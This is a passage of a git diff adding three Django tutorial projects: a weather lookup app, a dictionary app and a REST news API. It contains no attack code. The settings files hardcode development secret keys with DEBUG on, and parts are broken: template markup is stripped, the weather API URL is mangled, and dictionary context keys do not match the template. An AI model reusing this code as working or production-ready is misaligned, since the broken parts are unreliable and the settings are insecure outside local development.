b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..92a8f614 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/models.py b/web-programming/django-weather-app/weatherupdates/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/404.html b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/404.html new file mode 100644 index 00000000..5016ee26 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/404.html @@ -0,0 +1,15 @@ + +{% extends 'weatherupdates/base.html' %} + + +{% block content %} + +
+
+

Page Not Found

+

Make sure you are connected to the internet or you are entering a valid city name

+ Go Home +
+
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/base.html b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/base.html new file mode 100644 index 00000000..877e80ec --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/base.html @@ -0,0 +1,16 @@ + + + + + + + Weather Updates App + + + + + {% block content %} + + {% endblock %} + + \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/home.html b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/home.html new file mode 100644 index 00000000..41f4a689 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/home.html @@ -0,0 +1,42 @@ + +{% extends 'weatherupdates/base.html' %} + + +{% block content %} + +
+
+ +
+

Weather Update App

+
+ +
+ + {% csrf_token %} +
+ +
+ +
+
+
+
+
+
+ +
{{ city_weather_update.time }}
+
{{ city_weather_update.city }} {{ city_weather_update.country_code }}
+
{{ city_weather_update.temperature }}
+
{{ city_weather_update.description | title }}
+
{{ city_weather_update.wind }}
+
{{ city_weather_update.humidity }}
+
+
+ +
+
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/tests.py b/web-programming/django-weather-app/weatherupdates/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/django-weather-app/weatherupdates/urls.py b/web-programming/django-weather-app/weatherupdates/urls.py new file mode 100644 index 00000000..b16dfde4 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/urls.py @@ -0,0 +1,9 @@ +# here we are import path from in-built django-urls +from django.urls import path + +# here we are importing all the Views from the views.py file +from . import views + +urlpatterns = [ + path('', views.index, name='home'), +] \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherupdates/views.py b/web-programming/django-weather-app/weatherupdates/views.py new file mode 100644 index 00000000..e595a559 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/views.py @@ -0,0 +1,42 @@ +from django.shortcuts import render +import requests +from datetime import datetime + +# the index() will handle all the app's logic +def index(request): + # if there are no errors the code inside try will execute + try: + # checking if the method is POST + if request.method == 'POST': + API_KEY = 'put your API key here' + # getting the city name from the form input + city_name = request.POST.get('city') + # the url for current weather, takes city_name and API_KEY + url = f'https://api.openweathermap.org/data/2.5/weather?q={city_name}&appid={API_KEY}&units=metric' + # converting the request response to json + response = requests.get(url).json() + # getting the current time + current_time = datetime.now() + # formatting the time using directives, it will take this format Day, Month Date Year, Current Time + formatted_time = current_time.strftime("%A, %B %d %Y, %H:%M:%S %p") + # bundling the weather information in one dictionary + city_weather_update = { + 'city': city_name, + 'description': response['weather'][0]['description'], + 'icon': response['weather'][0]['icon'], + 'temperature': 'Temperature: ' + str(response['main']['temp']) + ' °C', + 'country_code': response['sys']['country'], + 'wind': 'Wind: ' + str(response['wind']['speed']) + 'km/h', + 'humidity': 'Humidity: ' + str(response['main']['humidity']) + '%', + 'time': formatted_time + } + # if the request method is GET empty the dictionary + else: + city_weather_update = {} + context = {'city_weather_update': city_weather_update} + return render(request, 'weatherupdates/home.html', context) + # if there is an error the 404 page will be rendered + # the except will catch all the errors + except: + return render(request, 'weatherupdates/404.html') + diff --git a/web-programming/djangodictionary/README.md b/web-programming/djangodictionary/README.md new file mode 100644 index 00000000..a6f28505 --- /dev/null +++ b/web-programming/djangodictionary/README.md @@ -0,0 +1 @@ +# [How to Build an English Dictionary App with Django in Python](https://www.thepythoncode.com/article/build-dictionary-app-with-django-and-pydictionary-api-python) \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/__init__.py b/web-programming/djangodictionary/dictionary/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/djangodictionary/dictionary/admin.py b/web-programming/djangodictionary/dictionary/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/djangodictionary/dictionary/apps.py b/web-programming/djangodictionary/dictionary/apps.py new file mode 100644 index 00000000..14615160 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class DictionaryConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'dictionary' diff --git a/web-programming/djangodictionary/dictionary/migrations/__init__.py b/web-programming/djangodictionary/dictionary/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..578e53e3 Binary files /dev/null and b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..46091a0d Binary files /dev/null and b/web-programming/djangodictionary/dictionary/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/djangodictionary/dictionary/models.py b/web-programming/djangodictionary/dictionary/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/djangodictionary/dictionary/templates/dictionary/base.html b/web-programming/djangodictionary/dictionary/templates/dictionary/base.html new file mode 100644 index 00000000..43b432e4 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/templates/dictionary/base.html @@ -0,0 +1,32 @@ + + + + + + + + Dictionary + + + + + + +
+
+ +
+

ThePythonCode.com Dictionary

+
+ +
+ {% block content %} + + {% endblock %} +
+
+
+ + + \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/templates/dictionary/index.html b/web-programming/djangodictionary/dictionary/templates/dictionary/index.html new file mode 100644 index 00000000..627e5d8e --- /dev/null +++ b/web-programming/djangodictionary/dictionary/templates/dictionary/index.html @@ -0,0 +1,20 @@ + + +{% extends 'dictionary/base.html' %} + + +{% block content %} + +
+
+ +
+ +
+
+ +
+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/templates/dictionary/search.html b/web-programming/djangodictionary/dictionary/templates/dictionary/search.html new file mode 100644 index 00000000..4839694c --- /dev/null +++ b/web-programming/djangodictionary/dictionary/templates/dictionary/search.html @@ -0,0 +1,25 @@ + +{% extends 'dictionary/base.html' %} + +{% block content %} + +

{{ word }}

+ +
+ {% csrf_token %} + + +
+ +

{{ meanings }}

+ +
+ +

Antonyms:{{ antonym }}

+
+ +

Synonyms:{{ synonym }}

+ +{% endblock %} \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/tests.py b/web-programming/djangodictionary/dictionary/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/djangodictionary/dictionary/urls.py b/web-programming/djangodictionary/dictionary/urls.py new file mode 100644 index 00000000..b57dd991 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/urls.py @@ -0,0 +1,10 @@ +# from current folder, we are importing the two views, HomeView & SearchView +from . import views +# importing path from django's in-built urls +from django.urls import path + +# defining the list for urls +urlpatterns = [ + path('', views.homeView, name='home'),#this is the home url + path('search', views.searchView, name='search'),#this is the search url +] \ No newline at end of file diff --git a/web-programming/djangodictionary/dictionary/views.py b/web-programming/djangodictionary/dictionary/views.py new file mode 100644 index 00000000..e2fe9fe2 --- /dev/null +++ b/web-programming/djangodictionary/dictionary/views.py @@ -0,0 +1,35 @@ +# importing the render function from django.shortcuts +# the render function renders templates +from django.shortcuts import render +# importing the PyDictionary library +from PyDictionary import PyDictionary + +import pyttsx3 + + +# this is the view that will render the index page +def homeView(request): + return render(request, 'dictionary/index.html') + + +# this is the view that will render search page +def searchView(request): + # capturing the word from the form via the name search + word = request.GET.get('search') + # creating a dictionary object + dictionary = PyDictionary() + # passing a word to the dictionary object + meanings = dictionary.meaning(word) + # getting a synonym and antonym + synonyms = dictionary.synonym(word) + antonyms = dictionary.antonym(word) + # bundling all the variables in the context + context = { + 'word': word, + 'meanings':meanings, + 'synonyms':synonyms, + 'antonoyms':antonyms + } + return render(request, 'dictionary/search.html', context) + + diff --git a/web-programming/djangodictionary/djangodictionary/__init__.py b/web-programming/djangodictionary/djangodictionary/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/djangodictionary/djangodictionary/asgi.py b/web-programming/djangodictionary/djangodictionary/asgi.py new file mode 100644 index 00000000..5e8be0b1 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for djangodictionary project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangodictionary.settings') + +application = get_asgi_application() diff --git a/web-programming/djangodictionary/djangodictionary/settings.py b/web-programming/djangodictionary/djangodictionary/settings.py new file mode 100644 index 00000000..e59dd335 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/settings.py @@ -0,0 +1,126 @@ +""" +Django settings for djangodictionary project. + +Generated by 'django-admin startproject' using Django 4.0.4. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.0/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-ukc=wh953&q0x-s!b2i28^nh!)3r#^28(ougohz)yruya)))^d' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # external installed app + # registering the dictionary app + 'dictionary', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'djangodictionary.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'djangodictionary.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.0/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.0/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/djangodictionary/djangodictionary/urls.py b/web-programming/djangodictionary/djangodictionary/urls.py new file mode 100644 index 00000000..cbbf5c33 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/urls.py @@ -0,0 +1,26 @@ +"""djangodictionary URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +# importing the django's in-built admin url +from django.contrib import admin +# importing path and include from django's in-built urls +from django.urls import path, include + +# defining the list for urls +urlpatterns = [ + path('admin/', admin.site.urls), + # registering dictionary app urls in project + path('', include('dictionary.urls')), +] diff --git a/web-programming/djangodictionary/djangodictionary/wsgi.py b/web-programming/djangodictionary/djangodictionary/wsgi.py new file mode 100644 index 00000000..a2c9dc54 --- /dev/null +++ b/web-programming/djangodictionary/djangodictionary/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for djangodictionary project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangodictionary.settings') + +application = get_wsgi_application() diff --git a/web-programming/djangodictionary/manage.py b/web-programming/djangodictionary/manage.py new file mode 100644 index 00000000..c9a00da4 --- /dev/null +++ b/web-programming/djangodictionary/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangodictionary.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/djangodictionary/requirements.txt b/web-programming/djangodictionary/requirements.txt new file mode 100644 index 00000000..90536003 --- /dev/null +++ b/web-programming/djangodictionary/requirements.txt @@ -0,0 +1,2 @@ +django +PyDictionary \ No newline at end of file diff --git a/web-programming/news_project/README.md b/web-programming/news_project/README.md new file mode 100644 index 00000000..82c66b9b --- /dev/null +++ b/web-programming/news_project/README.md @@ -0,0 +1 @@ +# [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python) \ No newline at end of file diff --git a/web-programming/news_project/db.sqlite3 b/web-programming/news_project/db.sqlite3 new file mode 100644 index 00000000..33a4832e Binary files /dev/null and b/web-programming/news_project/db.sqlite3 differ diff --git a/web-programming/news_project/manage.py b/web-programming/news_project/manage.py new file mode 100644 index 00000000..10b64696 --- /dev/null +++ b/web-programming/news_project/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/news_project/news_app/__init__.py b/web-programming/news_project/news_app/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/news_project/news_app/admin.py b/web-programming/news_project/news_app/admin.py new file mode 100644 index 00000000..312d626b --- /dev/null +++ b/web-programming/news_project/news_app/admin.py @@ -0,0 +1,5 @@ +from django.contrib import admin +from .models import * + +admin.site.register(Article) +admin.site.register(Journalist) diff --git a/web-programming/news_project/news_app/apps.py b/web-programming/news_project/news_app/apps.py new file mode 100644 index 00000000..8e5c603c --- /dev/null +++ b/web-programming/news_project/news_app/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class NewsAppConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'news_app' diff --git a/web-programming/news_project/news_app/migrations/0001_initial.py b/web-programming/news_project/news_app/migrations/0001_initial.py new file mode 100644 index 00000000..90cf8f05 --- /dev/null +++ b/web-programming/news_project/news_app/migrations/0001_initial.py @@ -0,0 +1,36 @@ +# Generated by Django 4.1.3 on 2023-01-12 10:42 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Journalist', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('first_name', models.CharField(max_length=60)), + ('last_name', models.CharField(max_length=60)), + ('bio', models.CharField(max_length=200)), + ], + ), + migrations.CreateModel( + name='Article', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('title', models.CharField(max_length=120)), + ('description', models.CharField(max_length=200)), + ('body', models.TextField()), + ('location', models.CharField(max_length=120)), + ('publication_date', models.DateField()), + ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='articles', to='news_app.journalist')), + ], + ), + ] diff --git a/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py b/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py new file mode 100644 index 00000000..24962f60 --- /dev/null +++ b/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py @@ -0,0 +1,18 @@ +# Generated by Django 4.1.3 on 2023-02-20 14:54 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('news_app', '0001_initial'), + ] + + operations = [ + migrations.AlterField( + model_name='article', + name='publication_date', + field=models.DateField(auto_now_add=True), + ), + ] diff --git a/web-programming/news_project/news_app/migrations/__init__.py b/web-programming/news_project/news_app/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc new file mode 100644 index 00000000..6c2cd5fa Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc differ diff --git a/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc new file mode 100644 index 00000000..ea271db7 Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc differ diff --git a/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..ead55c3b Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/news_project/news_app/models.py b/web-programming/news_project/news_app/models.py new file mode 100644 index 00000000..84d955e1 --- /dev/null +++ b/web-programming/news_project/news_app/models.py @@ -0,0 +1,22 @@ +from django.db import models + + +class Journalist(models.Model): + first_name = models.CharField(max_length=60) + last_name = models.CharField(max_length=60) + bio = models.CharField(max_length=200) + def __str__(self): + return f"{ self.first_name } - { self.last_name }" + +class Article(models.Model): + author = models.ForeignKey(Journalist, + on_delete=models.CASCADE, + related_name='articles') + title = models.CharField(max_length=120) + description = models.CharField(max_length=200) + body = models.TextField() + location = models.CharField(max_length=120) + publication_date = models.DateField(auto_now_add=True) + + def __str__(self): + return f"{ self.author } - { self.title }" diff --git a/web-programming/news_project/news_app/serializers.py b/web-programming/news_project/news_app/serializers.py new file mode 100644 index 00000000..cb7f2cf7 --- /dev/null +++ b/web-programming/news_project/news_app/serializers.py @@ -0,0 +1,27 @@ +from rest_framework import serializers +from .models import * + +class JournalistSerializer(serializers.Serializer): + first_name = serializers.CharField(max_length=60) + last_name = serializers.CharField(max_length=60) + bio = serializers.CharField() + +class ArticleSerializer(serializers.Serializer): + title = serializers.CharField() + description = serializers.CharField() + body = serializers.CharField() + location = serializers.CharField() + author_id = serializers.IntegerField() + + def create(self, validated_data): + return Article.objects.create(**validated_data) + + def update(self, instance, validated_data): + instance.title = validated_data.get('title', instance.title) + instance.description = validated_data.get('description', instance.description) + instance.body = validated_data.get('body', instance.body) + instance.author_id = validated_data.get('author_id', instance.author_id) + instance.location = validated_data.get('location', instance.location) + instance.publication_date = validated_data.get('publication_date', instance.publication_date) + instance.save() + return instance diff --git a/web-programming/news_project/news_app/tests.py b/web-programming/news_project/news_app/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/news_project/news_app/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/news_project/news_app/urls.py b/web-programming/news_project/news_app/urls.py new file mode 100644 index 00000000..affc3eab --- /dev/null +++ b/web-programming/news_project/news_app/urls.py @@ -0,0 +1,10 @@ +from django.urls import path +from .views import JournalistView, ArticleView, ArticleDetailView + +app_name="news_app" + +urlpatterns=[ + path('journalist/', JournalistView.as_view() ), + path('article/', ArticleView.as_view() ), + path('article//', ArticleDetailView.as_view()), +] diff --git a/web-programming/news_project/news_app/views.py b/web-programming/news_project/news_app/views.py new file mode 100644 index 00000000..9540db8d --- /dev/null +++ b/web-programming/news_project/news_app/views.py @@ -0,0 +1,42 @@ +from django.shortcuts import render + +from rest_framework.response import Response +from rest_framework.views import APIView + +from .models import * +from .serializers import JournalistSerializer, ArticleSerializer +# Create your views here. +from rest_framework.generics import get_object_or_404 + + +class JournalistView(APIView): + def get (self, request): + journalists = Journalist.objects.all() + serializer = JournalistSerializer(journalists, many=True) + return Response({"journalists":serializer.data}) + +class ArticleView(APIView): + def get (self, request): + articles = Article.objects.all() + serializer = ArticleSerializer(articles, many=True) + return Response({"articles":serializer.data}) + + def post(self, request): + serializer = ArticleSerializer(data=request.data) + if serializer.is_valid(raise_exception=True): + saved_article = serializer.save() + return Response({"success": "Article '{}' created successfully".format(saved_article.title)}) + + +class ArticleDetailView(APIView): + def put(self, request, pk): + saved_article = get_object_or_404(Article.objects.all(), pk=pk) + serializer = ArticleSerializer(instance=saved_article, data=request.data, partial=True) + if serializer.is_valid(raise_exception=True): + article_saved = serializer.save() + return Response({"success": "Article '{}' updated successfully".format(article_saved.title)}) + + def delete(self, request, pk): + article = get_object_or_404(Article.objects.all(), pk=pk) + article.delete() + return Response({"message": "Article with id `{}` has been deleted.".format(pk)},status=204) diff --git a/web-programming/news_project/news_project/__init__.py b/web-programming/news_project/news_project/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/news_project/news_project/asgi.py b/web-programming/news_project/news_project/asgi.py new file mode 100644 index 00000000..984b7960 --- /dev/null +++ b/web-programming/news_project/news_project/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for news_project project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings') + +application = get_asgi_application() diff --git a/web-programming/news_project/news_project/settings.py b/web-programming/news_project/news_project/settings.py new file mode 100644 index 00000000..4647e327 --- /dev/null +++ b/web-programming/news_project/news_project/settings.py @@ -0,0 +1,125 @@ +""" +Django settings for news_project project. + +Generated by 'django-admin startproject' using Django 4.1.2. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-*#k+r4uiqb!=o1sn7!c(i%f)9t00s4gmzjzurmznvbphey3ie2' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'news_app', + 'rest_framework', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'news_project.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'news_project.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/news_project/news_project/urls.py b/web-programming/news_project/news_project/urls.py new file mode 100644 index 00000000..ff163cdf --- /dev/null +++ b/web-programming/news_project/news_project/urls.py @@ -0,0 +1,22 @@ +"""news_project URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.1/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path,include + +urlpatterns = [ + path('admin/', admin.site.urls), + path('api/',include('news_app.urls')), +] diff --git a/web-programming/news_project/news_project/wsgi.py b/web-programming/news_project/news_project/wsgi.py new file mode 100644 index 00000000..712af45f --- /dev/null +++ b/web-programming/news_project/news_project/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for news_project project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings') + +application = get_wsgi_application() diff --git a/web-programming/news_project/requirements.txt b/web-programming/news_project/requirements.txt new file mode 100644 index 